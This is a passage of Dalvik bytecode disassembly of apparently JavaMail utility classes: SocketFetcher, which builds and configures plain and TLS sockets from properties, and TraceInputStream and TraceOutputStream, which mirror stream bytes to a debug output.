00000040  invoke-virtual          QEncoderStream->output(I, Z)V, p0, v0, v2
00000046  goto                    :18
.end method

#--------------------------------------------------------------------------------
.class SocketFetcher$1
.super Object
.source ""

.implements PrivilegedAction

.method constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public run()Object
          .registers 3
00000000  const/4                 v0, 0x0
:2
00000002  invoke-static           Thread->currentThread()Thread
00000008  move-result-object      v1
0000000A  invoke-virtual          Thread->getContextClassLoader()ClassLoader, v1
:10
00000010  move-result-object      v0
:12
00000012  return-object           v0
:14
00000014  move-exception          v1
00000016  goto                    :12
          .catch SecurityException {:2 .. :10} :14
.end method

#--------------------------------------------------------------------------------
.class public SocketFetcher
.super Object
.source ""

.method private constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method private static configureSSLSocket(Socket, Properties, String)V
          .registers 7
00000000  const/4                 v3, 0x0
00000002  instance-of             v0, p0, SSLSocket
00000006  if-nez                  v0, :C
:A
0000000A  return-void
:C
0000000C  check-cast              p0, SSLSocket
00000010  new-instance            v0, StringBuilder
00000014  invoke-static           String->valueOf(Object)String, p2
0000001A  move-result-object      v1
0000001C  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000022  const-string            v1, ".ssl.protocols"
00000026  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000002C  move-result-object      v0
0000002E  invoke-virtual          StringBuilder->toString()String, v0
00000034  move-result-object      v0
00000036  invoke-virtual          Properties->getProperty(String, String)String, p1, v0, v3
0000003C  move-result-object      v0
0000003E  if-eqz                  v0, :92
:42
00000042  invoke-static           SocketFetcher->stringArray(String)[String, v0
00000048  move-result-object      v0
0000004A  invoke-virtual          SSLSocket->setEnabledProtocols([String)V, p0, v0
:50
00000050  new-instance            v0, StringBuilder
00000054  invoke-static           String->valueOf(Object)String, p2
0000005A  move-result-object      v1
0000005C  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000062  const-string            v1, ".ssl.ciphersuites"
00000066  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000006C  move-result-object      v0
0000006E  invoke-virtual          StringBuilder->toString()String, v0
00000074  move-result-object      v0
00000076  invoke-virtual          Properties->getProperty(String, String)String, p1, v0, v3
0000007C  move-result-object      v0
0000007E  if-eqz                  v0, :A
:82
00000082  invoke-static           SocketFetcher->stringArray(String)[String, v0
00000088  move-result-object      v0
0000008A  invoke-virtual          SSLSocket->setEnabledCipherSuites([String)V, p0, v0
00000090  goto                    :A
:92
00000092  const/4                 v0, 0x1
00000094  new-array               v0, v0, [String
00000098  const/4                 v1, 0x0
0000009A  const-string            v2, "TLSv1"
0000009E  aput-object             v2, v0, v1
000000A2  invoke-virtual          SSLSocket->setEnabledProtocols([String)V, p0, v0
000000A8  goto                    :50
.end method

.method private static createSocket(InetAddress, I, String, I, I, SocketFactory, Z)Socket
          .registers 9
00000000  if-eqz                  p5, :36
:4
00000004  invoke-virtual          SocketFactory->createSocket()Socket, p5
0000000A  move-result-object      v0
:C
0000000C  if-eqz                  p0, :20
:10
00000010  new-instance            v1, InetSocketAddress
00000014  invoke-direct           InetSocketAddress-><init>(InetAddress, I)V, v1, p0, p1
0000001A  invoke-virtual          Socket->bind(SocketAddress)V, v0, v1
:20
00000020  if-ltz                  p4, :58
:24
00000024  new-instance            v1, InetSocketAddress
00000028  invoke-direct           InetSocketAddress-><init>(String, I)V, v1, p2, p3
0000002E  invoke-virtual          Socket->connect(SocketAddress, I)V, v0, v1, p4
:34
00000034  return-object           v0
:36
00000036  if-eqz                  p6, :4C
:3A
0000003A  invoke-static           SSLSocketFactory->getDefault()SocketFactory
00000040  move-result-object      v0
00000042  invoke-virtual          SocketFactory->createSocket()Socket, v0
00000048  move-result-object      v0
0000004A  goto                    :C
:4C
0000004C  new-instance            v0, Socket
00000050  invoke-direct           Socket-><init>()V, v0
00000056  goto                    :C
:58
00000058  new-instance            v1, InetSocketAddress
0000005C  invoke-direct           InetSocketAddress-><init>(String, I)V, v1, p2, p3
00000062  invoke-virtual          Socket->connect(SocketAddress)V, v0, v1
00000068  goto                    :34
.end method

.method private static getContextClassLoader()ClassLoader
          .registers 1
00000000  new-instance            v0, SocketFetcher$1
00000004  invoke-direct           SocketFetcher$1-><init>()V, v0
0000000A  invoke-static           AccessController->doPrivileged(PrivilegedAction)Object, v0
00000010  move-result-object      v0
00000012  check-cast              v0, ClassLoader
00000016  return-object           v0
.end method

.method public static getSocket(String, I, Properties, String)Socket
          .registers 5
00000000  const/4                 v0, 0x0
00000002  invoke-static           SocketFetcher->getSocket(String, I, Properties, String, Z)Socket, p0, p1, p2, p3, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public static getSocket(String, I, Properties, String, Z)Socket
          .registers 16
00000000  if-nez                  p3, :8
:4
00000004  const-string            p3, "socket"
:8
00000008  if-nez                  p2, :16
:C
0000000C  new-instance            p2, Properties
00000010  invoke-direct           Properties-><init>()V, p2
:16
00000016  new-instance            v0, StringBuilder
0000001A  invoke-static           String->valueOf(Object)String, p3
00000020  move-result-object      v1
00000022  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000028  const-string            v1, ".connectiontimeout"
0000002C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000032  move-result-object      v0
00000034  invoke-virtual          StringBuilder->toString()String, v0
0000003A  move-result-object      v0
0000003C  const/4                 v1, 0x0
0000003E  invoke-virtual          Properties->getProperty(String, String)String, p2, v0, v1
00000044  move-result-object      v0
00000046  const/4                 v4, 0xFFFFFFFFFFFFFFFF
00000048  if-eqz                  v0, :54
:4C
0000004C  invoke-static           Integer->parseInt(String)I, v0
:52
00000052  move-result             v4
:54
00000054  const/4                 v8, 0x0
00000056  new-instance            v0, StringBuilder
0000005A  invoke-static           String->valueOf(Object)String, p3
00000060  move-result-object      v1
00000062  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000068  const-string            v1, ".timeout"
0000006C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000072  move-result-object      v0
00000074  invoke-virtual          StringBuilder->toString()String, v0
0000007A  move-result-object      v0
0000007C  const/4                 v1, 0x0
0000007E  invoke-virtual          Properties->getProperty(String, String)String, p2, v0, v1
00000084  move-result-object      v9
00000086  new-instance            v0, StringBuilder
0000008A  invoke-static           String->valueOf(Object)String, p3
00000090  move-result-object      v1
00000092  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000098  const-string            v1, ".localaddress"
0000009C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000000A2  move-result-object      v0
000000A4  invoke-virtual          StringBuilder->toString()String, v0
000000AA  move-result-object      v0
000000AC  const/4                 v1, 0x0
000000AE  invoke-virtual          Properties->getProperty(String, String)String, p2, v0, v1
000000B4  move-result-object      v1
000000B6  const/4                 v0, 0x0
000000B8  if-eqz                  v1, :C4
:BC
000000BC  invoke-static           InetAddress->getByName(String)InetAddress, v1
000000C2  move-result-object      v0
:C4
000000C4  new-instance            v1, StringBuilder
000000C8  invoke-static           String->valueOf(Object)String, p3
000000CE  move-result-object      v2
000000D0  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000D6  const-string            v2, ".localport"
000000DA  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000E0  move-result-object      v1
000000E2  invoke-virtual          StringBuilder->toString()String, v1
000000E8  move-result-object      v1
000000EA  const/4                 v2, 0x0
000000EC  invoke-virtual          Properties->getProperty(String, String)String, p2, v1, v2
000000F2  move-result-object      v2
000000F4  const/4                 v1, 0x0
000000F6  if-eqz                  v2, :102
:FA
000000FA  invoke-static           Integer->parseInt(String)I, v2
:100
00000100  move-result             v1
:102
00000102  new-instance            v2, StringBuilder
00000106  invoke-static           String->valueOf(Object)String, p3
0000010C  move-result-object      v3
0000010E  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000114  const-string            v3, ".socketFactory.fallback"
00000118  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000011E  move-result-object      v2
00000120  invoke-virtual          StringBuilder->toString()String, v2
00000126  move-result-object      v2
00000128  const/4                 v3, 0x0
0000012A  invoke-virtual          Properties->getProperty(String, String)String, p2, v2, v3
00000130  move-result-object      v2
00000132  if-eqz                  v2, :20E
:136
00000136  const-string            v3, "false"
0000013A  invoke-virtual          String->equalsIgnoreCase(String)Z, v2, v3
00000140  move-result             v2
00000142  if-eqz                  v2, :20E
:146
00000146  const/4                 v2, 0x0
00000148  move                    v7, v2
:14A
0000014A  new-instance            v2, StringBuilder
0000014E  invoke-static           String->valueOf(Object)String, p3
00000154  move-result-object      v3
00000156  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000015C  const-string            v3, ".socketFactory.class"
00000160  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000166  move-result-object      v2
00000168  invoke-virtual          StringBuilder->toString()String, v2
0000016E  move-result-object      v2
00000170  const/4                 v3, 0x0
00000172  invoke-virtual          Properties->getProperty(String, String)String, p2, v2, v3
00000178  move-result-object      v10
0000017A  const/4                 v3, 0xFFFFFFFFFFFFFFFF
:17C
0000017C  invoke-static           SocketFetcher->getSocketFactory(String)SocketFactory, v10
00000182  move-result-object      v5
00000184  if-eqz                  v5, :2D8
:188
00000188  new-instance            v2, StringBuilder
0000018C  invoke-static           String->valueOf(Object)String, p3
00000192  move-result-object      v6
00000194  invoke-direct           StringBuilder-><init>(String)V, v2, v6
0000019A  const-string            v6, ".socketFactory.port"
0000019E  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v6
000001A4  move-result-object      v2
000001A6  invoke-virtual          StringBuilder->toString()String, v2
000001AC  move-result-object      v2
000001AE  const/4                 v6, 0x0
000001B0  invoke-virtual          Properties->getProperty(String, String)String, p2, v2, v6
:1B6
000001B6  move-result-object      v2
000001B8  if-eqz                  v2, :1C4
:1BC
000001BC  invoke-static           Integer->parseInt(String)I, v2
:1C2
000001C2  move-result             v3
:1C4
000001C4  const/4                 v2, 0xFFFFFFFFFFFFFFFF
000001C6  if-ne                   v3, v2, :1CC
:1CA
000001CA  move                    v3, p1
:1CC
000001CC  move-object             v2, p0
000001CE  move                    v6, p4
:1D0
000001D0  invoke-static/range     SocketFetcher->createSocket(InetAddress, I, String, I, I, SocketFactory, Z)Socket, v0 .. v6
:1D6
000001D6  move-result-object      v2
:1D8
000001D8  if-nez                  v2, :2D0
:1DC
000001DC  const/4                 v5, 0x0
000001DE  move-object             v2, p0
000001E0  move                    v3, p1
000001E2  move                    v6, p4
000001E4  invoke-static/range     SocketFetcher->createSocket(InetAddress, I, String, I, I, SocketFactory, Z)Socket, v0 .. v6
000001EA  move-result-object      v0
000001EC  move-object             v1, v0
:1EE
000001EE  const/4                 v0, 0xFFFFFFFFFFFFFFFF
000001F0  if-eqz                  v9, :1FC
:1F4
000001F4  invoke-static           Integer->parseInt(String)I, v9
:1FA
000001FA  move-result             v0
:1FC
000001FC  if-ltz                  v0, :206
:200
00000200  invoke-virtual          Socket->setSoTimeout(I)V, v1, v0
:206
00000206  invoke-static           SocketFetcher->configureSSLSocket(Socket, Properties, String)V, v1, p2, p3
0000020C  return-object           v1
:20E
0000020E  const/4                 v2, 0x1
00000210  move                    v7, v2
00000212  goto                    :14A
:214
00000214  move-exception          v0
00000216  throw                   v0
:218
00000218  move-exception          v2
0000021A  if-nez                  v7, :2D8
:21E
0000021E  instance-of             v0, v2, InvocationTargetException
00000222  if-eqz                  v0, :2D4
:226
00000226  move-object             v0, v2
00000228  check-cast              v0, InvocationTargetException
0000022C  invoke-virtual          InvocationTargetException->getTargetException()Throwable, v0
00000232  move-result-object      v0
00000234  instance-of             v1, v0, Exception
00000238  if-eqz                  v1, :2D4
:23C
0000023C  check-cast              v0, Exception
:240
00000240  instance-of             v1, v0, IOException
00000244  if-eqz                  v1, :24E
:248
00000248  check-cast              v0, IOException
0000024C  throw                   v0
:24E
0000024E  new-instance            v1, IOException
00000252  new-instance            v2, StringBuilder
00000256  const-string            v4, "Couldn\'t connect using \""
0000025A  invoke-direct           StringBuilder-><init>(String)V, v2, v4
00000260  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v10
00000266  move-result-object      v2
00000268  const-string            v4, "\" socket factory to host, port: "
0000026C  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v4
00000272  move-result-object      v2
00000274  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p0
0000027A  move-result-object      v2
0000027C  const-string            v4, ", "
00000280  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v4
00000286  move-result-object      v2
00000288  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, v3
0000028E  move-result-object      v2
00000290  const-string            v3, "; Exception: "
00000294  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000029A  move-result-object      v2
0000029C  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v0
000002A2  move-result-object      v2
000002A4  invoke-virtual          StringBuilder->toString()String, v2
000002AA  move-result-object      v2
000002AC  invoke-direct           IOException-><init>(String)V, v1, v2
000002B2  invoke-virtual          IOException->initCause(Throwable)Throwable, v1, v0
000002B8  throw                   v1
:2BA
000002BA  move-exception          v0
000002BC  goto/16                 :54
:2C0
000002C0  move-exception          v2
000002C2  goto/16                 :102
:2C6
000002C6  move-exception          v2
000002C8  goto/16                 :1C4
:2CC
000002CC  move-exception          v2
000002CE  goto                    :1FC
:2D0
000002D0  move-object             v1, v2
000002D2  goto                    :1EE
:2D4
000002D4  move-object             v0, v2
000002D6  goto                    :240
:2D8
000002D8  move-object             v2, v8
000002DA  goto/16                 :1D8
          .catch NumberFormatException {:4C .. :52} :2BA
          .catch NumberFormatException {:FA .. :100} :2C0
          .catch SocketTimeoutException {:17C .. :1B6} :214
          .catch Exception {:17C .. :1B6} :218
          .catch NumberFormatException {:1BC .. :1C2} :2C6
          .catch SocketTimeoutException {:1BC .. :1C2} :214
          .catch Exception {:1BC .. :1C2} :218
          .catch SocketTimeoutException {:1D0 .. :1D6} :214
          .catch Exception {:1D0 .. :1D6} :218
          .catch NumberFormatException {:1F4 .. :1FA} :2CC
.end method

.method private static getSocketFactory(String)SocketFactory
          .registers 5
00000000  const/4                 v0, 0x0
00000002  const/4                 v3, 0x0
00000004  if-eqz                  p0, :14
:8
00000008  invoke-virtual          String->length()I, p0
0000000E  move-result             v1
00000010  if-nez                  v1, :16
:14
00000014  return-object           v0
:16
00000016  invoke-static           SocketFetcher->getContextClassLoader()ClassLoader
0000001C  move-result-object      v1
0000001E  if-eqz                  v1, :2A
:22
00000022  invoke-virtual          ClassLoader->loadClass(String)Class, v1, p0
:28
00000028  move-result-object      v0
:2A
0000002A  if-nez                  v0, :36
:2E
0000002E  invoke-static           Class->forName(String)Class, p0
00000034  move-result-object      v0
:36
00000036  const-string            v1, "getDefault"
0000003A  new-array               v2, v3, [Class
0000003E  invoke-virtual          Class->getMethod(String, [Class)Method, v0, v1, v2
00000044  move-result-object      v0
00000046  new-instance            v1, Object
0000004A  invoke-direct           Object-><init>()V, v1
00000050  new-array               v2, v3, [Object
00000054  invoke-virtual          Method->invoke(Object, [Object)Object, v0, v1, v2
0000005A  move-result-object      v0
0000005C  check-cast              v0, SocketFactory
00000060  goto                    :14
:62
00000062  move-exception          v1
00000064  goto                    :2A
          .catch ClassNotFoundException {:22 .. :28} :62
.end method

.method public static startTLS(Socket)Socket
          .registers 3
00000000  new-instance            v0, Properties
00000004  invoke-direct           Properties-><init>()V, v0
0000000A  const-string            v1, "socket"
0000000E  invoke-static           SocketFetcher->startTLS(Socket, Properties, String)Socket, p0, v0, v1
00000014  move-result-object      v0
00000016  return-object           v0
.end method

.method public static startTLS(Socket, Properties, String)Socket
          .registers 9
00000000  invoke-virtual          Socket->getInetAddress()InetAddress, p0
00000006  move-result-object      v0
00000008  invoke-virtual          InetAddress->getHostName()String, v0
0000000E  move-result-object      v2
00000010  invoke-virtual          Socket->getPort()I, p0
00000016  move-result             v3
:18
00000018  new-instance            v0, StringBuilder
0000001C  invoke-static           String->valueOf(Object)String, p2
00000022  move-result-object      v1
00000024  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000002A  const-string            v1, ".socketFactory.class"
0000002E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000034  move-result-object      v0
00000036  invoke-virtual          StringBuilder->toString()String, v0
0000003C  move-result-object      v0
0000003E  const/4                 v1, 0x0
00000040  invoke-virtual          Properties->getProperty(String, String)String, p1, v0, v1
00000046  move-result-object      v0
00000048  invoke-static           SocketFetcher->getSocketFactory(String)SocketFactory, v0
0000004E  move-result-object      v0
00000050  if-eqz                  v0, :72
:54
00000054  instance-of             v1, v0, SSLSocketFactory
00000058  if-eqz                  v1, :72
:5C
0000005C  check-cast              v0, SSLSocketFactory
:60
00000060  const/4                 v1, 0x1
00000062  invoke-virtual          SSLSocketFactory->createSocket(Socket, String, I, Z)Socket, v0, p0, v2, v3, v1
00000068  move-result-object      v0
0000006A  invoke-static           SocketFetcher->configureSSLSocket(Socket, Properties, String)V, v0, p1, p2
00000070  return-object           v0
:72
00000072  invoke-static           SSLSocketFactory->getDefault()SocketFactory
00000078  move-result-object      v0
0000007A  check-cast              v0, SSLSocketFactory
:7E
0000007E  goto                    :60
:80
00000080  move-exception          v1
00000082  instance-of             v0, v1, InvocationTargetException
00000086  if-eqz                  v0, :10A
:8A
0000008A  move-object             v0, v1
0000008C  check-cast              v0, InvocationTargetException
00000090  invoke-virtual          InvocationTargetException->getTargetException()Throwable, v0
00000096  move-result-object      v0
00000098  instance-of             v4, v0, Exception
0000009C  if-eqz                  v4, :10A
:A0
000000A0  check-cast              v0, Exception
:A4
000000A4  instance-of             v1, v0, IOException
000000A8  if-eqz                  v1, :B2
:AC
000000AC  check-cast              v0, IOException
000000B0  throw                   v0
:B2
000000B2  new-instance            v1, IOException
000000B6  new-instance            v4, StringBuilder
000000BA  const-string            v5, "Exception in startTLS: host "
000000BE  invoke-direct           StringBuilder-><init>(String)V, v4, v5
000000C4  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v2
000000CA  move-result-object      v2
000000CC  const-string            v4, ", port "
000000D0  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v4
000000D6  move-result-object      v2
000000D8  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, v3
000000DE  move-result-object      v2
000000E0  const-string            v3, "; Exception: "
000000E4  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
000000EA  move-result-object      v2
000000EC  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v0
000000F2  move-result-object      v2
000000F4  invoke-virtual          StringBuilder->toString()String, v2
000000FA  move-result-object      v2
000000FC  invoke-direct           IOException-><init>(String)V, v1, v2
00000102  invoke-virtual          IOException->initCause(Throwable)Throwable, v1, v0
00000108  throw                   v1
:10A
0000010A  move-object             v0, v1
0000010C  goto                    :A4
          .catch Exception {:18 .. :7E} :80
.end method

.method private static stringArray(String)[String
          .registers 4
00000000  new-instance            v0, StringTokenizer
00000004  invoke-direct           StringTokenizer-><init>(String)V, v0, p0
0000000A  new-instance            v1, ArrayList
0000000E  invoke-direct           ArrayList-><init>()V, v1
:14
00000014  invoke-virtual          StringTokenizer->hasMoreTokens()Z, v0
0000001A  move-result             v2
0000001C  if-nez                  v2, :3A
:20
00000020  invoke-interface        List->size()I, v1
00000026  move-result             v0
00000028  new-array               v0, v0, [String
0000002C  invoke-interface        List->toArray([Object)[Object, v1, v0
00000032  move-result-object      v0
00000034  check-cast              v0, [String
00000038  return-object           v0
:3A
0000003A  invoke-virtual          StringTokenizer->nextToken()String, v0
00000040  move-result-object      v2
00000042  invoke-interface        List->add(Object)Z, v1, v2
00000048  goto                    :14
.end method

#--------------------------------------------------------------------------------
.class public TraceInputStream
.super FilterInputStream
.source ""

.field private quote:Z
.field private trace:Z
.field private traceOut:OutputStream

.method public constructor <init>(InputStream, OutputStream)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  invoke-direct           FilterInputStream-><init>(InputStream)V, p0, p1
00000008  iput-boolean            v0, p0, TraceInputStream->trace:Z
0000000C  iput-boolean            v0, p0, TraceInputStream->quote:Z
00000010  iput-object             p2, p0, TraceInputStream->traceOut:OutputStream
00000014  return-void
.end method

.method private final writeByte(I)V
          .registers 7
00000000  const/16                v4, 0xA
00000004  const/16                v3, 0x5C
00000008  and-int/lit16           v0, p1, 0xFF
0000000C  const/16                v1, 0x7F
00000010  if-le                   v0, v1, :34
:14
00000014  iget-object             v1, p0, TraceInputStream->traceOut:OutputStream
00000018  const/16                v2, 0x4D
0000001C  invoke-virtual          OutputStream->write(I)V, v1, v2
00000022  iget-object             v1, p0, TraceInputStream->traceOut:OutputStream
00000026  const/16                v2, 0x2D
0000002A  invoke-virtual          OutputStream->write(I)V, v1, v2
00000030  and-int/lit8            v0, v0, 0x7F
:34
00000034  const/16                v1, 0xD
00000038  if-ne                   v0, v1, :56
:3C
0000003C  iget-object             v0, p0, TraceInputStream->traceOut:OutputStream
00000040  invoke-virtual          OutputStream->write(I)V, v0, v3
00000046  iget-object             v0, p0, TraceInputStream->traceOut:OutputStream
0000004A  const/16                v1, 0x72
0000004E  invoke-virtual          OutputStream->write(I)V, v0, v1
:54
00000054  return-void
:56
00000056  if-ne                   v0, v4, :7E
:5A
0000005A  iget-object             v0, p0, TraceInputStream->traceOut:OutputStream
0000005E  invoke-virtual          OutputStream->write(I)V, v0, v3
00000064  iget-object             v0, p0, TraceInputStream->traceOut:OutputStream
00000068  const/16                v1, 0x6E
0000006C  invoke-virtual          OutputStream->write(I)V, v0, v1
00000072  iget-object             v0, p0, TraceInputStream->traceOut:OutputStream
00000076  invoke-virtual          OutputStream->write(I)V, v0, v4
0000007C  goto                    :54
:7E
0000007E  const/16                v1, 0x9
00000082  if-ne                   v0, v1, :A0
:86
00000086  iget-object             v0, p0, TraceInputStream->traceOut:OutputStream
0000008A  invoke-virtual          OutputStream->write(I)V, v0, v3
00000090  iget-object             v0, p0, TraceInputStream->traceOut:OutputStream
00000094  const/16                v1, 0x74
00000098  invoke-virtual          OutputStream->write(I)V, v0, v1
0000009E  goto                    :54
:A0
000000A0  const/16                v1, 0x20
000000A4  if-ge                   v0, v1, :C6
:A8
000000A8  iget-object             v1, p0, TraceInputStream->traceOut:OutputStream
000000AC  const/16                v2, 0x5E
000000B0  invoke-virtual          OutputStream->write(I)V, v1, v2
000000B6  iget-object             v1, p0, TraceInputStream->traceOut:OutputStream
000000BA  add-int/lit8            v0, v0, 0x40
000000BE  invoke-virtual          OutputStream->write(I)V, v1, v0
000000C4  goto                    :54
:C6
000000C6  iget-object             v1, p0, TraceInputStream->traceOut:OutputStream
000000CA  invoke-virtual          OutputStream->write(I)V, v1, v0
000000D0  goto                    :54
.end method

.method public read()I
          .registers 3
00000000  iget-object             v0, p0, TraceInputStream->in:InputStream
00000004  invoke-virtual          InputStream->read()I, v0
0000000A  move-result             v0
0000000C  iget-boolean            v1, p0, TraceInputStream->trace:Z
00000010  if-eqz                  v1, :28
:14
00000014  const/4                 v1, 0xFFFFFFFFFFFFFFFF
00000016  if-eq                   v0, v1, :28
:1A
0000001A  iget-boolean            v1, p0, TraceInputStream->quote:Z
0000001E  if-eqz                  v1, :2A
:22
00000022  invoke-direct           TraceInputStream->writeByte(I)V, p0, v0
:28
00000028  return                  v0
:2A
0000002A  iget-object             v1, p0, TraceInputStream->traceOut:OutputStream
0000002E  invoke-virtual          OutputStream->write(I)V, v1, v0
00000034  goto                    :28
.end method

.method public read([B, I, I)I
          .registers 7
00000000  iget-object             v0, p0, TraceInputStream->in:InputStream
00000004  invoke-virtual          InputStream->read([B, I, I)I, v0, p1, p2, p3
0000000A  move-result             v1
0000000C  iget-boolean            v0, p0, TraceInputStream->trace:Z
00000010  if-eqz                  v0, :28
:14
00000014  const/4                 v0, 0xFFFFFFFFFFFFFFFF
00000016  if-eq                   v1, v0, :28
:1A
0000001A  iget-boolean            v0, p0, TraceInputStream->quote:Z
0000001E  if-eqz                  v0, :3E
:22
00000022  const/4                 v0, 0x0
:24
00000024  if-lt                   v0, v1, :2A
:28
00000028  return                  v1
:2A
0000002A  add-int                 v2, p2, v0
0000002E  aget-byte               v2, p1, v2
00000032  invoke-direct           TraceInputStream->writeByte(I)V, p0, v2
00000038  add-int/lit8            v0, v0, 0x1
0000003C  goto                    :24
:3E
0000003E  iget-object             v0, p0, TraceInputStream->traceOut:OutputStream
00000042  invoke-virtual          OutputStream->write([B, I, I)V, v0, p1, p2, v1
00000048  goto                    :28
.end method

.method public setQuote(Z)V
          .registers 2
00000000  iput-boolean            p1, p0, TraceInputStream->quote:Z
00000004  return-void
.end method

.method public setTrace(Z)V
          .registers 2
00000000  iput-boolean            p1, p0, TraceInputStream->trace:Z
00000004  return-void
.end method

#--------------------------------------------------------------------------------
.class public TraceOutputStream
.super FilterOutputStream
.source ""

.field private quote:Z
.field private trace:Z
.field private traceOut:OutputStream

.method public constructor <init>(OutputStream, OutputStream)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  invoke-direct           FilterOutputStream-><init>(OutputStream)V, p0, p1
00000008  iput-boolean            v0, p0, TraceOutputStream->trace:Z
0000000C  iput-boolean            v0, p0, TraceOutputStream->quote:Z
00000010  iput-object             p2, p0, TraceOutputStream->traceOut:OutputStream
00000014  return-void
.end method

.method private final writeByte(I)V
          .registers 7
00000000  const/16                v4, 0xA
00000004  const/16                v3, 0x5C
00000008  and-int/lit16           v0, p1, 0xFF
0000000C  const/16                v1, 0x7F
00000010  if-le                   v0, v1, :34
:14
00000014  iget-object             v1, p0, TraceOutputStream->traceOut:OutputStream
00000018  const/16                v2, 0x4D
0000001C  invoke-virtual          OutputStream->write(I)V, v1, v2
00000022  iget-object             v1, p0, TraceOutputStream->traceOut:OutputStream
00000026  const/16                v2, 0x2D
0000002A  invoke-virtual          OutputStream->write(I)V, v1, v2
00000030  and-int/lit8            v0, v0, 0x7F
:34
00000034  const/16                v1, 0xD
00000038  if-ne                   v0, v1, :56
:3C
0000003C  iget-object             v0, p0, TraceOutputStream->traceOut:OutputStream
00000040  invoke-virtual          OutputStream->write(I)V, v0, v3
00000046  iget-object             v0, p0, TraceOutputStream->traceOut:OutputStream
0000004A  const/16                v1, 0x72
0000004E  invoke-virtual          OutputStream->write(I)V, v0, v1
:54
00000054  return-void
:56
00000056  if-ne                   v0, v4, :7E
:5A
0000005A  iget-object             v0, p0, TraceOutputStream->traceOut:OutputStream
0000005E  invoke-virtual          OutputStream->write(I)V, v0, v3
00000064  iget-object             v0, p0, TraceOutputStream->traceOut:OutputStream
00000068  const/16                v1, 0x6E
0000006C  invoke-virtual          OutputStream->write(I)V, v0, v1
00000072  iget-object             v0, p0, TraceOutputStream->traceOut:OutputStream
00000076  invoke-virtual          OutputStream->write(I)V, v0, v4
0000007C  goto                    :54
:7E
0000007E  const/16                v1, 0x9
00000082  if-ne                   v0, v1, :A0
:86
00000086  iget-object             v0, p0, TraceOutputStream->traceOut:OutputStream
0000008A  invoke-virtual          OutputStream->write(I)V, v0, v3
00000090  iget-object             v0, p0, TraceOutputStream->traceOut:OutputStream
00000094  const/16                v1, 0x74
00000098  invoke-virtual          OutputStream->write(I)V, v0, v1
0000009E  goto                    :54
:A0
000000A0  const/16                v1, 0x20
000000A4  if-ge                   v0, v1, :C6
:A8
000000A8  iget-object             v1, p0, TraceOutputStream->traceOut:OutputStream
000000AC  const/16                v2, 0x5E
000000B0  invoke-virtual          OutputStream->write(I)V, v1, v2
000000B6  iget-object             v1, p0, TraceOutputStream->traceOut:OutputStream
000000BA  add-int/lit8            v0, v0, 0x40
000000BE  invoke-virtual          OutputStream->write(I)V, v1, v0
000000C4  goto                    :54
:C6
000000C6  iget-object             v1, p0, TraceOutputStream->traceOut:OutputStream
000000CA  invoke-virtual          OutputStream->write(I)V, v1, v0
000000D0  goto                    :54
.end method

.method public setQuote(Z)V
          .registers 2
00000000  iput-boolean            p1, p0, TraceOutputStream->quote:Z
00000004  return-void
.end method

.method public setTrace(Z)V
          .registers 2
00000000  iput-boolean            p1, p0, TraceOutputStream->trace:Z
00000004  return-void
.end method

.method public write(I)V
          .registers 3
00000000  iget-boolean            v0, p0, TraceOutputStream->trace:Z
00000004  if-eqz                  v0, :16
:8
00000008  iget-boolean            v0, p0, TraceOutputStream->quote:Z
0000000C  if-eqz                  v0, :22
:10
00000010  invoke-direct           TraceOutputStream->writeByte(I)V, p0, p1
:16
00000016  iget-object             v0, p0, TraceOutputStream->out:OutputStream
0000001A  invoke-virtual          OutputStream->write(I)V, v0, p1
00000020  return-void
:22
00000022  iget-object             v0, p0, TraceOutputStream->traceOut:OutputStream
00000026  invoke-virtual          OutputStream->write(I)V, v0, p1
0000002C  goto                    :16
.end method

.method public write([B, I, I)V
          .registers 6
00000000  iget-boolean            v0, p0, TraceOutputStream->trace:Z
00000004  if-eqz                  v0, :16
:8
00000008  iget-boolean            v0, p0, TraceOutputStream->quote:Z
0000000C  if-eqz                  v0, :36
:10
00000010  const/4                 v0, 0x0
:12
00000012  if-lt                   v0, p3, :22
:16
00000016  iget-object             v0, p0, TraceOutputStream->out:OutputStream
0000001A  invoke-virtual          OutputStream->write([B, I, I)V, v0, p1, p2, p3
00000020  return-void
:22
00000022  add-int                 v1, p2, v0
00000026  aget-byte               v1, p1, v1
0000002A  invoke-direct           TraceOutputStream->writeByte(I)V, p0, v1
00000030  add-int/lit8            v0, v0, 0x1
00000034  goto                    :12
:36
00000036  iget-object             v0, p0, TraceOutputStream->traceOut:OutputStream
0000003A  invoke-virtual          OutputStream->write([B, I, I)V, v0, p1, p2, p3
00000040  goto                    :16
.end method

